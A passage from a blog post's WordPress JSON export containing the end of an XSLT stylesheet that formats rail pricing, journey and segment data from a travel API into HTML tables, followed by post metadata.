<\/xsl:for-each>\r\n    <\/xsl:for-each>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"\/\/*[local-name()='RailPricingSolution']\">\r\n    <xsl:variable name=\"Amt\">\r\n      <xsl:value-of select=\".\/@TotalPrice\"\/>\r\n    <\/xsl:variable>\r\n    <xsl:variable name=\"Supplier\">\r\n      <xsl:value-of select=\".\/@SupplierCode\"\/>\r\n    <\/xsl:variable>\r\n    <tr>\r\n      <td>\r\n        <table class=\"main\">\r\n          <caption>\r\n            From <xsl:value-of select=\"$Supplier\"\/> - Total price:\r\n            <xsl:value-of select=\"$Amt\"\/>\r\n          <\/caption>\r\n          <thead >\r\n            <tr>\r\n              <th>Direction<\/th>\r\n              <th>Date<\/th>\r\n              <th>Train<\/th>\r\n              <th>Depart<\/th>\r\n              <th>Arrive<\/th>\r\n              <th>From<\/th>\r\n              <th>To<\/th>\r\n            <\/tr>\r\n          <\/thead>\r\n          <tbody>\r\n            <xsl:apply-templates select=\"*[local-name()='RailJourneyRef']\" \/>\r\n          <\/tbody>\r\n        <\/table>\r\n      <\/td>\r\n    <\/tr>\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"*[local-name()='RailJourneyRef']\">\r\n    <xsl:variable name=\"indexJourney\" select=\".\/@Key\"\/>\r\n    <xsl:for-each select=\"\/\/*[local-name()='RailJourney' and .\/@Key=$indexJourney]\">\r\n      <xsl:variable name=\"direction\" select=\".\/@JourneyDirection\"\/>\r\n      <xsl:apply-templates select=\"*[local-name()='RailSegmentRef']\">\r\n        <xsl:with-param name=\"direction\" select=\"$direction\"><\/xsl:with-param>\r\n      <\/xsl:apply-templates>\r\n    <\/xsl:for-each>\r\n\r\n  <\/xsl:template>\r\n\r\n  <xsl:template match=\"*[local-name()='RailSegmentRef']\">\r\n    <xsl:param name=\"direction\"\/>\r\n\r\n    <xsl:variable name=\"position\" select=\"position()\" \/>\r\n    <xsl:variable name=\"directionHeader\">\r\n      <xsl:choose>\r\n        <xsl:when test=\"position()=1\">\r\n          <xsl:value-of select=\"$direction\"\/>\r\n        <\/xsl:when>\r\n        <xsl:otherwise>\r\n\r\n        <\/xsl:otherwise>\r\n      <\/xsl:choose>\r\n    <\/xsl:variable>\r\n\r\n    <xsl:variable name=\"indexSegment\" select=\".\/@Key\"\/>\r\n    <xsl:for-each select=\"\/\/*[local-name()='RailSegment' and .\/@Key=$indexSegment]\">\r\n      <tr>\r\n        <xsl:attribute name=\"class\">\r\n          <xsl:choose>\r\n            <xsl:when test=\"$directionHeader='Outward'\">out<\/xsl:when>\r\n            <xsl:when test=\"$directionHeader='Return'\">in<\/xsl:when>\r\n            <xsl:otherwise ><\/xsl:otherwise >\r\n          <\/xsl:choose>\r\n        <\/xsl:attribute>\r\n        <td>\r\n          <xsl:value-of select=\"$directionHeader\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\"substring(.\/@DepartureTime,1,10)\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@TrainNumber\"\/>\r\n        <\/td>\r\n        <td class=\"time\">\r\n          <xsl:value-of select=\"substring(.\/@DepartureTime,12,5)\"\/>\r\n        <\/td>\r\n        <td class=\"time\">\r\n          <xsl:value-of select=\"substring(.\/@ArrivalTime,12,5)\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@OriginStationName\"\/>\r\n        <\/td>\r\n        <td>\r\n          <xsl:value-of select=\".\/@DestinationStationName\"\/>\r\n        <\/td>\r\n      <\/tr>\r\n    <\/xsl:for-each>\r\n  <\/xsl:template>\r\n<\/xsl:stylesheet>\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"

For a single segment with no connection, the travel time is equal to the flight time (FlightDetails @TravelTime and AirSegment @TravelTime). The TravelTime element in […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-338","post","type-post","status-publish","format-standard","hentry","category-low-fare-search"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=338"}],"version-history":[{"count":2,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/338\/revisions"}],"predecessor-version":[{"id":358,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/338\/revisions\/358"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}